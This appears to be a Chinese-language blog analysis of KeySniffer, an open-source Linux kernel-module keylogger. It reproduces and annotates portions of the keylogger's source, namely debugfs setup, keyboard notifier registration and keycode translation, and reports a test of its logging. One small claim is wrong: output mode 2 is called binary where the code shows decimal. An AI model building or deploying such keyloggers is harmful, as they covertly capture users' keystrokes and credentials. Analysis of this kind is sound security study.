KeySniffer是Git上一个开源的LKM RootKit项目,又叫Kisni。
工具特点:键盘记录程序实现简单,记录形式明确。
在Unbuntu上编译程序并查看到ko模块信息。
键盘记录的内容在/sys/kernel/debug/kisni/keys中,需要使用root权限才能查看。
源码分析
static int __init keysniffer_init(void)
{
if (codes < 0 || codes > 2) //检查用户输入的参数
return -EINVAL;
subdir = debugfs_create_dir("kisni", NULL); //通过debugfs和用户空间交换数据,在/sys/kernel/debug/目录下创建kisni目录
if (IS_ERR(subdir))
return PTR_ERR(subdir);
if (!subdir)
return -ENOENT;
file = debugfs_create_file("keys", 0400, subdir, NULL, &keys_fops);//400表示权限只读,keys_fops = {.owner = THIS_MODULE,.read = keys_read,}
//keys_read是上方自定义的一个函数
if (!file) {
debugfs_remove_recursive(subdir);
return -ENOENT;
}
/*
* Add to the list of console keyboard event
* notifiers so the callback keysniffer_cb is
* called when an event occurs.
*/
register_keyboard_notifier(&keysniffer_blk); //注册通知链keysniffer_blk = {.notifier_call = keysniffer_cb,}
return 0;
}
DebugFS,是一种用于内核调试的虚拟文件系统,内核通过debugfs和用户空间交换数据。类似procfs和sysfs等,这些文件系统都在内存里。默认情况下debugfs会被挂载在目录/sys/kernel/debug之下,如果没有自动挂载,可以用如下命令手动完成:# mount -t debugfs none /sys/kernel/debug。
源码中用到了DebugFS的debugfs_create_dir函数,该函数是Linux的DebugFS文件系统API函数。
看下该函数的原型:
struct dentry *debugfs_create_file(const char *name, umode_t mode, struct dentry *parent, void *data, const struct file_operations *fops);
name是创建的文件或目录的名字
mode是文件的权限,
parent是父目录
data通常指向驱动程序分配的数据
fops指向驱动分配的file_operations结构体,该结构体指定了应用程序读写时对调用的驱动程序函数。
其中mode参数是400,表示权限只读。Parent目录是前面创建的/sys/kernel/debug/kisni,该目录只有root权限才能查看。Keys_fops指向了作者编写的keys_read函数。
由此可见对于键盘的记录实现是使用了注册内核通知链来注册键盘消息处理的回调函数keysniffer_cb实现。
void keycode_to_string(int keycode, int shift_mask, char *buf, int type)
{
switch (type) {
case US:
if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE) {
//keycode的范围选择
const char *us_key = (shift_mask == 1)
? us_keymap[keycode][1] //shift按下
: us_keymap[keycode][0]; //shift没有按下
snprintf(buf, CHUNK_LEN, "%s", us_key);
}
break;
case HEX:
if (keycode > KEY_RESERVED && keycode < KEY_MAX)
snprintf(buf, CHUNK_LEN, "%x %x", keycode, shift_mask);
break;
case DEC:
if (keycode > KEY_RESERVED && keycode < KEY_MAX)
snprintf(buf, CHUNK_LEN, "%d %d", keycode, shift_mask);
break;
}
}
对于消息回调的处理很细节,以shift_mask作为参数表示是否按下shift键,来记录两种不同的情形。比如1键又是!符号。
作者给用户接口参数0代表unicode字符明文输出(默认),1代表十六进制HEX输出,2代表二进制形式输出。
键盘记录的效果测试下:对于字母大小写记录不够好,大小写切换时会记录CAPS键,但是记录的都是小写字母,也就是说还需要人工处理下CAPS后的字母大小写。